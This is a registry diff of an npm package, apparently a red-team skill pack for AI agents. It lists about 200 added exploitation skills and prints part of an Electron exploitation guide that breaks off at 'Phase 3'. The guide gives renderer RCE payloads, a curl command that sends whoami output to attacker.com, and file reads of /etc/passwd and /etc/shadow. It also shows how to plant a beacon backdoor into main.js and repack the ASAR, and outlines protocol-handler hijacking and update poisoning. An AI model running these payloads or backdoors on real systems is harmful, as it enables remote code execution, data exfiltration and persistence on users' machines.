rtexit-method 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (220) hide show
  1. package/package.json +2 -5
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/lib/asset-manifest.js +10 -5
  202. package/tools/installer/lib/copy-assets.js +5 -2
  203. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  204. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  205. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  206. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  207. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  210. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  211. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  212. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  213. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  214. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  215. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  216. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  217. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  218. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  219. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,1023 @@
1
+ ---
2
+ name: rt-exploit-electron
3
+ description: "Electron desktop application exploitation skill. Covers ASAR archive extraction and source code analysis, nodeIntegration misconfiguration leading to XSS → RCE, contextIsolation bypass, IPC channel injection, webSecurity disabled exploitation, preload.js analysis, and Electron-specific CVEs. Covers modern Electron security model and legacy app vulnerabilities."
4
+ ---
5
+
6
+ # rt-exploit-electron
7
+
8
+ ## 1. Overview and When to Use
9
+
10
+ Electron applications package web content (HTML/JS/CSS) with a bundled Chromium browser and Node.js runtime into a cross-platform desktop application. This architecture creates a unique attack surface: if the application misconfigures security boundaries, JavaScript executing in the renderer process can gain full Node.js capabilities — including arbitrary OS command execution.
11
+
12
+ **Use this skill when:**
13
+ - A target organization uses Electron-based desktop software (Slack, VS Code, Discord, Teams, Notion, Signal, 1Password, etc.)
14
+ - You need local privilege escalation or persistence via a trusted, signed application
15
+ - You are auditing an internally-developed Electron app
16
+ - XSS is found inside a desktop app and you need to escalate to RCE
17
+ - Supply-chain or update-mechanism attacks are in scope
18
+
19
+ **What makes Electron high-value:**
20
+ - Apps run with the user's full OS privileges
21
+ - Often allowlisted by AV/EDR because they are signed
22
+ - Renderer → Node bridge enables OS command execution from JavaScript
23
+ - ASAR archives are trivially extractable — source code is almost always recoverable
24
+ - Legacy enterprise apps are frequently on old Electron versions with known CVEs
25
+
26
+ **Out of scope for this skill:** pure web XSS unrelated to desktop apps, native binary exploitation of the Chromium/Node process.
27
+
28
+ ---
29
+
30
+ ## 2. Prerequisites and Setup
31
+
32
+ ### Required Tools
33
+
34
+ ```bash
35
+ # Node.js and npm (provides npx)
36
+ node --version # need >= 14
37
+ npm --version
38
+
39
+ # ASAR extraction (no install needed via npx)
40
+ npx asar --version
41
+
42
+ # Or install globally
43
+ npm install -g asar
44
+
45
+ # Additional analysis tools
46
+ npm install -g electron-builder # for repacking
47
+ pip install semgrep # static analysis
48
+ ```
49
+
50
+ ### Optional but Recommended
51
+
52
+ ```bash
53
+ # Frida — dynamic instrumentation of Electron processes
54
+ pip install frida-tools
55
+ npm install -g frida
56
+
57
+ # Burp Suite — intercept Electron HTTP/WebSocket traffic
58
+ # Configure Electron app to use proxy:
59
+ # ELECTRON_NO_ASAR=1 electron app --proxy-server=127.0.0.1:8080
60
+
61
+ # Process Explorer / Process Monitor (Windows) or strace (Linux)
62
+ # For observing IPC, file access, child_process calls
63
+
64
+ # objection — runtime mobile/desktop exploration via Frida
65
+ pip install objection
66
+
67
+ # jadx / strings / hexdump for native module analysis
68
+ ```
69
+
70
+ ### Environment Setup
71
+
72
+ ```bash
73
+ # Set up isolated analysis VM (recommended)
74
+ # Never run unknown Electron apps on your primary machine
75
+
76
+ # Proxy Electron traffic through Burp
77
+ export ELECTRON_NO_ASAR=1
78
+ export HTTPS_PROXY=http://127.0.0.1:8080
79
+ export HTTP_PROXY=http://127.0.0.1:8080
80
+ export NODE_TLS_REJECT_UNAUTHORIZED=0
81
+
82
+ # Enable Electron DevTools (some apps disable this)
83
+ # Launch with --remote-debugging-port
84
+ electron /path/to/app --remote-debugging-port=9222
85
+ # Then visit: http://localhost:9222 in Chrome
86
+ ```
87
+
88
+ ---
89
+
90
+ ## 3. Skill Levels
91
+
92
+ ### BEGINNER — Reconnaissance and Source Extraction
93
+
94
+ Goals: Locate the app, extract ASAR, read source code, identify obvious misconfigs.
95
+
96
+ ```bash
97
+ # Find installed Electron apps (Windows)
98
+ Get-ChildItem "C:\Users\$env:USERNAME\AppData\Local" -Recurse -Filter "*.asar" 2>$null
99
+ Get-ChildItem "C:\Program Files" -Recurse -Filter "*.asar" 2>$null
100
+
101
+ # Find installed Electron apps (Linux)
102
+ find /opt /usr/share /home/$USER -name "*.asar" 2>/dev/null
103
+ find / -name "app.asar" 2>/dev/null
104
+
105
+ # Find installed Electron apps (macOS)
106
+ find /Applications ~/Applications -name "*.asar" 2>/dev/null
107
+
108
+ # Verify it's Electron (check for electron binary or package.json)
109
+ strings /path/to/binary | grep -i electron
110
+ strings /path/to/binary | grep "Chrome/"
111
+
112
+ # Extract ASAR archive
113
+ npx asar extract app.asar ./extracted_app
114
+
115
+ # List contents without extracting
116
+ npx asar list app.asar
117
+
118
+ # Read a single file from ASAR without extracting all
119
+ npx asar ef app.asar /package.json
120
+
121
+ # Search extracted source for security-relevant config
122
+ grep -r "nodeIntegration" ./extracted_app --include="*.js" -l
123
+ grep -r "contextIsolation" ./extracted_app --include="*.js" -l
124
+ grep -r "webSecurity" ./extracted_app --include="*.js" -l
125
+ grep -r "allowRunningInsecureContent" ./extracted_app --include="*.js" -l
126
+ grep -r "enableBlinkFeatures" ./extracted_app --include="*.js" -l
127
+ grep -r "preload" ./extracted_app --include="*.js" -l
128
+ ```
129
+
130
+ ### INTERMEDIATE — Misconfiguration Exploitation
131
+
132
+ Goals: Exploit nodeIntegration:true, craft XSS→RCE payloads, analyze preload.js.
133
+
134
+ ```bash
135
+ # After finding nodeIntegration: true, craft a renderer-side payload
136
+ # (injected via XSS or content injection into the app's webview/BrowserWindow)
137
+
138
+ # Basic RCE via require in renderer
139
+ # Paste in DevTools console or inject via XSS:
140
+ require('child_process').exec('calc.exe')
141
+ require('child_process').exec('id > /tmp/pwned.txt')
142
+ require('child_process').execSync('whoami').toString()
143
+
144
+ # Exfiltrate with curl
145
+ require('child_process').exec("curl -d $(whoami) https://attacker.com/collect")
146
+
147
+ # Read arbitrary files
148
+ require('fs').readFileSync('/etc/passwd', 'utf8')
149
+ require('fs').readFileSync('C:\\Windows\\System32\\drivers\\etc\\hosts', 'utf8')
150
+
151
+ # List IPC channels exposed by preload.js
152
+ grep -r "ipcRenderer" ./extracted_app --include="*.js" -A 3
153
+ grep -r "ipcMain" ./extracted_app --include="*.js" -A 3
154
+
155
+ # Look for contextBridge exposed APIs
156
+ grep -r "contextBridge" ./extracted_app --include="*.js" -A 10
157
+ ```
158
+
159
+ ### ADVANCED — IPC Injection, contextIsolation Bypass, Privilege Escalation
160
+
161
+ Goals: Abuse IPC handlers, escalate from sandboxed renderer to main process, pivot to OS.
162
+
163
+ ```bash
164
+ # In DevTools console — enumerate exposed IPC channels
165
+ # If preload exposes ipcRenderer:
166
+ window.__proto__ # check for prototype pollution surface
167
+ ipcRenderer.send('channel-name', payload)
168
+ ipcRenderer.invoke('privileged-action', {cmd: 'whoami'})
169
+
170
+ # If contextBridge is used but improperly validated:
171
+ window.electronAPI.runCommand('whoami') # if exposed without sanitization
172
+ window.electronAPI.readFile('../../../etc/shadow') # path traversal
173
+
174
+ # Repack a modified ASAR and replace the original (requires write access)
175
+ # Modify main.js to add backdoor, then repack:
176
+ npx asar pack ./extracted_app app_modified.asar
177
+ cp app_modified.asar /path/to/original/app.asar
178
+
179
+ # Frida hook — intercept IPC without modifying files
180
+ frida -n "AppName" -e "
181
+ var ipc = require('electron').ipcMain;
182
+ ipc.on.implementation = function(channel, handler) {
183
+ console.log('IPC channel registered: ' + channel);
184
+ this.on.call(this, channel, handler);
185
+ };
186
+ "
187
+ ```
188
+
189
+ ### EXPERT — CVE Exploitation, Sandbox Escape, Persistence
190
+
191
+ Goals: Exploit known Electron CVEs, achieve persistent access, evade detection.
192
+
193
+ ```bash
194
+ # Check Electron version for CVE research
195
+ strings /path/to/electron | grep "Electron/"
196
+ # Or from package.json:
197
+ cat extracted_app/package.json | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('dependencies',{}).get('electron','not found'))"
198
+
199
+ # Notable CVEs to research by version:
200
+ # CVE-2018-1000006 — Electron < 1.8.2 protocol handler RCE (Windows)
201
+ # CVE-2018-15685 — Electron < 2.0.7 / 3.0.0-beta.6 CSRF → RCE via file:// drag
202
+ # CVE-2019-5755 — V8 sandbox bypass affecting Electron
203
+ # CVE-2020-15174 — Electron < 9.2.1 protocol handler argument injection
204
+ # CVE-2022-21718 — Electron < 13.6.6 nodeIntegration leak via window.open
205
+
206
+ # Nativefier-generated apps (common wrapping tool) often have nodeIntegration: true
207
+ grep -r "nativefier" ./extracted_app
208
+ # These are almost always exploitable via simple require() in renderer
209
+
210
+ # Establish persistence via ASAR modification
211
+ # Add to main.js after extraction:
212
+ cat >> ./extracted_app/main.js << 'EOF'
213
+ const { exec } = require('child_process');
214
+ const os = require('os');
215
+ // Beacon on app launch
216
+ exec(`curl -s https://attacker.com/beacon?h=${os.hostname()}&u=${os.userInfo().username}`);
217
+ EOF
218
+ npx asar pack ./extracted_app app.asar
219
+
220
+ # Auto-update poisoning — if app uses electron-updater with unsigned feeds:
221
+ # Replace update feed URL by modifying app-update.yml or package.json
222
+ # Then serve a malicious update package
223
+
224
+ # Protocol handler hijacking (Windows registry)
225
+ # If app registers a custom protocol (e.g., myapp://):
226
+ # HKCU\Software\Classes\myapp\shell\open\command
227
+ # Overwrite with payload — triggers when victim clicks myapp:// link in browser
228
+ ```
229
+
230
+ ---
231
+
232
+ ## 4. Step-by-Step Numbered Workflow
233
+
234
+ ### Phase 1: Target Discovery and Profiling
235
+
236
+ 1. Enumerate installed applications on the target system.
237
+ ```bash
238
+ # Windows
239
+ Get-WmiObject -Class Win32_Product | Where-Object {$_.Name -match "electron|discord|slack|notion"} | Select Name, Version
240
+ # Linux
241
+ dpkg -l | grep -iE "electron|discord|slack|notion"
242
+ ```
243
+
244
+ 2. Locate the application binary and resource directory.
245
+ ```bash
246
+ # Windows — common paths
247
+ ls "C:\Users\$env:USERNAME\AppData\Local\Programs\"
248
+ ls "C:\Program Files\"
249
+ # Look for: resources/app.asar, resources/app/, electron.exe
250
+ ```
251
+
252
+ 3. Confirm the binary is Electron by checking embedded strings.
253
+ ```bash
254
+ strings AppName.exe | grep -E "Electron/|node.js|chromium" | head -20
255
+ # Or check the version file:
256
+ cat resources/electron.asar # if present, definitely Electron
257
+ ```
258
+
259
+ 4. Record the Electron version for CVE lookup.
260
+ ```bash
261
+ strings AppName.exe | grep "Electron/" | head -5
262
+ # Output example: "Electron/11.5.0 Chrome/87.0.4280.141 Node.js/12.18.3"
263
+ ```
264
+
265
+ ### Phase 2: ASAR Extraction and Source Analysis
266
+
267
+ 5. Extract the ASAR archive.
268
+ ```bash
269
+ cd "C:\Users\User\AppData\Local\Programs\TargetApp\resources"
270
+ npx asar extract app.asar ./app_source
271
+ ```
272
+
273
+ 6. Map the application structure.
274
+ ```bash
275
+ # Find entry points
276
+ cat app_source/package.json
277
+ # Look for: "main": "main.js" or "main": "index.js"
278
+ ls app_source/
279
+ ```
280
+
281
+ 7. Search for security-critical BrowserWindow configuration.
282
+ ```bash
283
+ grep -rn "nodeIntegration" app_source/ --include="*.js"
284
+ grep -rn "contextIsolation" app_source/ --include="*.js"
285
+ grep -rn "webSecurity" app_source/ --include="*.js"
286
+ grep -rn "sandbox" app_source/ --include="*.js"
287
+ grep -rn "allowRunningInsecureContent" app_source/ --include="*.js"
288
+ grep -rn "nativeWindowOpen" app_source/ --include="*.js"
289
+ ```
290
+
291
+ **Dangerous patterns to flag:**
292
+ ```javascript
293
+ nodeIntegration: true // CRITICAL — Node in renderer
294
+ contextIsolation: false // HIGH — no JS context boundary
295
+ webSecurity: false // HIGH — disables CORS/mixed-content
296
+ sandbox: false // MEDIUM — no Chromium sandbox
297
+ allowRunningInsecureContent: true // MEDIUM
298
+ ```
299
+
300
+ 8. Analyze preload.js for exposed APIs and IPC channels.
301
+ ```bash
302
+ find app_source/ -name "preload.js" -o -name "preload.ts" | xargs grep -l "." 2>/dev/null
303
+ cat app_source/preload.js
304
+ ```
305
+
306
+ 9. Map all IPC channels (main process handlers).
307
+ ```bash
308
+ grep -rn "ipcMain.on\|ipcMain.handle" app_source/ --include="*.js" -A 5
309
+ ```
310
+
311
+ 10. Check for dangerous operations in IPC handlers.
312
+ ```bash
313
+ grep -rn "exec\|spawn\|execFile\|shell\|eval\|vm.runIn" app_source/ --include="*.js" | grep -v "node_modules"
314
+ ```
315
+
316
+ ### Phase 3: Exploitation
317
+
318
